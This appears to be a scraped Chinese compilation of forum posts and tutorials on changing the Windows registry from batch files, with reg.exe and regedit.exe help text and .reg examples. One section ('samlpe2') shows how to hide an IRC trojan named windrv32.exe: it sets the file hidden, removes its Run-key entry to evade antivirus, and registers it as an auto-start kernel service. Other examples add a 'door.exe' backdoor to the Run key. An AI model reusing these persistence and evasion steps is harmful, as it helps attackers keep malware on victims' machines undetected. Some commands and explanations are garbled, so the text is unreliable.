注册表文件中的键需要双引号~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~要删除RUN下其中的一个键值,可用参数"deletekey"=-

将注册表文件中键值定义为-,导入后即可删除~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~如不能自动添加到注册表里

非要手动点击regfile.reg这个文件才可以的话!

试试regedit

/s

regfile.reg

批处理修改注册表值 大家来帮俺解决下 谢谢

@echo off

set "ks=HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{22C815C2-3034-471F-81BF-739526B90880}"

set v=IPAdress

set d1=新ip

for /f "tokens=2 delims=\" %%i in ('reg query "%ks%" /v %v%|find "\0"')do set "d2=%%i"

reg add "%ks%" /v %v% /t REG_MULTI_SZ /d %d1%\%d2% /f

pause

更改注册表的键值,以cmd批处理bat的方式更改。

echo

Windows

Registry

Editor

Version

5.00

regfile.reg

echo

[HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN]

regfile.reg

rem

下面的的句子表示删除deletekey键

echo

deletekey=-

regfile.reg

rem

下面的的句子表示删除增加或修改addkey键

echo

addkey=yourpath\yourfile.exe

regfile.reg

regedit

-s

regfile.reg

del

regfile.reg

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如果在XP环境下,还可以使用reg.exe

D:\WINDOWS\system32reg

/?

Windows

控制台注册表工具

-

版本

3.0

版权所有

(C)

Microsoft

Corp.

1981-2001.

保留所有权利。

REG

Operation

[参数列表]

Operation

[

QUERY

|

ADD

|

DELETE

|

COPY

|

SAVE

|

LOAD

|

UNLOAD

|

RESTORE

|

COMPARE

|

EXPORT

|

IMPORT

]

返回代码:

(除了

REG

COMPARE)

0

-

成功

1

-

失败

要得到有关某个操作的帮助,请键入:

REG

Operation

/?

例如:

REG

QUERY

/?

REG

ADD

/?

REG

DELETE

/?

REG

COPY

/?

REG

SAVE

/?

REG

RESTORE

/?

REG

LOAD

/?

REG

UNLOAD

/?

REG

COMPARE

/?

REG

EXPORT

/?

REG

IMPORT

/?

D:\WINDOWS\system32reg

add

/?

Windows

控制台注册表工具

-

版本

3.0

版权所有

(C)

Microsoft

Corp.

1981-2001.

保留所有权利。

REG

ADD

KeyName

[/v

ValueName

|

/ve]

[/t

Type]

[/s

Separator]

[/d

Data]

[/f]

KeyName

[\\Machine\]FullKey

远程机器的机器名

-

忽略默认到当前机器。

远程机器上只有

HKLM

HKU。

FullKey

ROOTKEY\SubKey

ROOTKEY

[

HKLM

|

HKCU

|

HKCR

|

HKU

|

HKCC

]

SubKey

所选

ROOTKEY

册表项的完整名

/v

所选项之下要添加的值名

/ve

为注册表项添加空白值名无名称

/t

RegKey

数据类型

[

REG_SZ

|

REG_MULTI_SZ

|

REG_DWORD_BIG_ENDIAN

|

REG_DWORD

|

REG_BINARY

|

REG_DWORD_LITTLE_ENDIAN

|

REG_NONE

|

REG_EXPAND_SZ

]

如果忽略,则用

REG_SZ

/s

指定一个在

REG_MULTI_SZ

数据字符串中

用作分隔符的字符

如果忽略,则将

\0

用作分隔符

/d

要分配给添加的注册表

ValueName

的数据

/f

不用提示就强行改写现有注册表项

例如:

REG

ADD

\\ABC\HKLM\Software\MyCo

添加远程机器

ABC

上的一个注册表项

HKLM\Software\MyCo

REG

ADD

HKLM\Software\MyCo

/v

Data

/t

REG_BINARY

/d

fe340ead

添加一个值(名称:

Data,类型:

REG_BINARY,数据:

fe340ead)

REG

ADD

HKLM\Software\MyCo

/v

MRU

/t

REG_MULTI_SZ

/d

fax\0mail

添加一个值(名称:

MRU,类型:

REG_MUTLI_SZ,数据:

fax\0mail\0\0)

REG

ADD

HKLM\Software\MyCo

/v

Path

/t

REG_EXPAND_SZ

/d

%%systemroot%%

添加一个值(名称:

Path,类型:

REG_EXPAND_SZ,数据:

%systemroot%)

注意:

在扩充字符串中使用双百分比符号(

%%

)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

修改echo

addkey=yourpath\yourfile.exe

regfile.reg

应为:echo

addkey=yourpath\yourfile.exe

regfile.reg

注册表文件中的键需要双引号

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

要删除RUN下其中的一个键值,可用参数

deletekey=-

将注册表文件中键值定义为-,导入后即可删除

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如不能自动添加到注册表里

非要手动点击regfile.reg这个文件才可以的话!

试试regedit

/s

regfile.reg

用批处理修改注册表

可以使用 reg命令,具体参数,在CMD中运行 reg /? 来查看。。另外,也可以直接写成.reg的注册表文件,在批处理中写上

regedit /s xx.reg (这个就是你的reg文件)

这样可以直接导入注册表。。

选择开始→运行命令,在运行对话框的打开文本框中输入“regedit.exe”,单击确定按钮,运行注册表编辑器,依次打开以下键:

HKEY_CURRENT_USER\Software\Policies\Microsoft\System

在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。

示例:

echo REGEDIT4>iedown.reg

echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg

echo "1803"=dword:00000000>>iedown.reg

以上生成REG文件.

regedit /s iedown.reg

del iedown.reg

运行REG后删除之.

还可以:写一个注册表文件,放在一个位置..

然后批处理导入:

@echo off

regedit /s 注册表文件路径

exit

说明:/s是不弹出确认提示直接导入

先学习一下如何使用.REG文件来操

作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作,常见的是创建、修改、删除。

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目

Invader的类型是"String value"

door的类型是"REG SZ value"

Autodos的类型是"DWORD value"

2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、

Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查

杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为

windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=

c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键的同时将其属性设为隐藏和

只读,并config为自启动]

@REM 这样不是更安全.

怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名。

ValueName 所选项下的要删除的值的名称。

省略时,该项下的所有子项和值都会被删除。

/ve 删除空白值名称的值(默认)。

/va 删除该项下的所有值。

/f 不用提示就强行删除。

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 Timeout 及其所有子项和值

REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU

删除 ZODIAC 上 MyCo 下的注册表项 MTU

regedit.exe的参数

filename 导入 .reg 文件进注册表

/s 导入 .reg 文件进注册表(安静模式)

/e 导出注册表文件

例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM

/L:system 指定 system.dat

/R:user 指定 user.dat

隐藏导入注册表信息用regedit /s 即可

在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。

语法:Regedit[/L:system][/R:user]filename1

Regedit[/L:system][/R:user]/Cfilename2

Regedit[/L:system][/R:user]/Efilename3[regpath]

其中:

/L:system指定system.dat文件的存放位置。

/L:user指定user.dat文件的存放位置。

filename1指定引入注册表数据库的文件名。

/Cfilename2指定形成注册表数据库的文件名。

/Efilename3指定导出注册表文件的文件名。

regpath指定导出注册表文件的开始关键字(缺省为全部关键字)

现举几个例子说明regedit.exe在DOS下的使用方法。

例1将系统注册表数据库registry导出到reg1.reg文件中。

regedit/Ereg1.reg

例2reg1.reg形成系统注册表数据库registry(全部)中。

regedit/Creg1.reg

例3将reg.dat引入系统注册表数据库中(部分)。

regeditreg.dat

例4将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。

regedit/Ecjh.regcjh

例5指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。

regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat

有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。

我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令:

regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile

然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令:

regedittxt.reg

XP上新加的注册表操作命令

ADD

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey

远程机器的机器名 - 忽略默认到当前机器。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 册表项的完整名

/v 所选项之下要添加的值名

/ve 为注册表项添加空白值名<无名称>

/t RegKey 数据类型

[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |

REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |

REG_NONE | REG_EXPAND_SZ ]

如果忽略,则用 REG_SZ

/s 指定一个在 REG_MULTI_SZ 数据字符串中

用作分隔符的字符

如果忽略,则将 "\0" 用作分隔符

/d 要分配给添加的注册表 ValueName 的数据

/f 不用提示就强行改写现有注册表项

例如:

REG ADD \\ABC\HKLM\Software\MyCo

添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0

COMPARE

REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 省略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

如果没有指定 FullKey2,FullKey2 则跟 FullKey1 相同

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选注册表项下的要比较的值的名称

省略时,该项下的所有值都会得到比较

/ve 比较空白值<no name>名称的值

/s 比较所有子项和值

Output [/oa | /od | /os | /on]

省略时,只显示不同的结果

/oa 显示所有不同和匹配结果

/od 只显示不同的结果

/os 只显示匹配结果

/on 不显示结果

返回代码:

0 - 成功,比较的结果相同

1 - 失败

2 - 成功,比较的结果不同

例如:

REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp

将注册表项 MyApp 下的所有值跟 SeMyApp 比较

REG COMPARE HKLM\Software\MyCo HKLM

COPY

REG COPY KeyName1 KeyName2 [/s] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/s 复制所有子项和值

/f 不用提示就强行复制

例如:

REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp /s

将注册表项 MyApp 下的所有子项和值复制到注册表项 SeMyApp

REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM

DELETE

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选项下的要删除的值的名称

省略时,该项下的所有子项和值都会被删除

/ve 删除空白值名称<no name>的值

/va 删除该项下的所有值

/f 不用提示就强行删除

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 T

LOAD

REG LOAD KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要将配置单元文件加载进的注册表项名称。创建一个新的注册表项

FileName 要加载的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

QUERY

REG QUERY KeyName [/v ValueName | /ve] [/s]

KeyName [\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey 格式为 ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/v 查询特定注册表项

ValueName 所选项下的要查询的值的名称

省略时,该项下的所有值都会得到查询

/ve 查询默认值或空白值名称<no name>

/s 查询所有子项和值

RESTORE

REG RESTORE KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 要将配置单元文件还原到的注册表项全名。

改写现有项的值和子项

FileName 要还原的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

SAVE

REG SAVE KeyName FileName

KeyName ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

FileName 要保存的磁盘文件名。如果没有指定路径,

文件会在调用进程的当前文件夹中得到创建

UNLOAD

REG UNLOAD KeyName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要卸载的配置单元的注册表项名称

reg add "项" /v(value的缩写) 值 /t(type) reg_dword(默认是eg_sz) /d(data的缩写) "要插入的数据值" /f(forbiden的缩写,即强制的意思)

例如

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f

这句命令就是往你的注册表

HKLM\SYSTEM\CurrentControlSet\Control\Session

这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1

/f 表示在运行如果注册表里已经有这个值也不会提示你,直接修改,

如果没有这个参数的话,它会提示你是不是要修改

热门文章